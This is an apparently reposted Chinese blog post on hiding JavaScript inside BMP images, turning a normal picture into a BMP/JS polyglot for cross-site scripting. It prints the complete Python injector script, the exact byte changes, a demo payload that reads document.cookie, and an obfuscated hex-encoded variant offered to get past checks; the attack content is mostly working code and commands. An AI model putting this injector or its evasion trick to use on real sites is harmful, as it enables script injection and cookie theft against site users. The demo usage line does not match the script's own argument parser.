图片攻击-BMP图片中注入恶意JS代码

昨天看到一篇文章《 hacking throung images 》,里面介绍了如何在BMP格式的图片里注入JS代码,使得BMP图片既可以正常显示,
也可以运行其中的JS代码,觉得相当有趣。
 
执行JS注入的脚本
关键:构造符合正常 BMP格式 的图片
 
步骤
1. 将原BMP文件的第三,第四字节替换 为\x2F\x2A , 对应js中的注释符号 /*
BMP文件的第三、四、五、六字节表示BMP文件的大小
 
2. 在BMP文件末尾添加
(1) \xFF
(2)\x2A\x2F ,对应的js中的注释符号 */
(3)\x3D\x31\x3B ,对应的 =1;   是为了伪造成BMP格式
(4)定制的JS代码
 
BMPinjector.py源码如下( Macro Ramili原本的源码
#!/usr/bin/env python2.7
import os
import argparse
def injectFile(payload,fname):
        f = open(fname,"r+b")
        b = f.read()
        f.close()

        f = open(fname,"w+b")
        f.write(b)
        f.seek(2,0)
        f.write(b'\x2F\x2A')
        f.close()

        f = open(fname,"a+b")
        f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
        f.write(payload)
        f.close()
        return True

if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument("filename",help="the bmp file name to infected")
        parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"")
        args = parser.parse_args()
        injectFile(args.js_payload,args.filename)

 

 
演示
下面演示实际效果
运行脚本,将指定的JS代码写入到正常的BMP图片中
格式:python 脚本名 -i 正常BMP格式图片 JSPayload
python BMPinjector.py -i 1.bmp "alert(document.cookie);"
演示页面run. html

Opening an image





 

 

运行 http://xxx/run.html
  图片攻击-BMP图片中注入恶意JS代码_第1张图片
也可以采用js混淆来绕过检查,得到和上面一样的效果
python BMPinjector.py -i 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"
注意:\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65对应document.cookie
 
 
 
 
参考:
http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html

你可能感兴趣的:(xss之类的)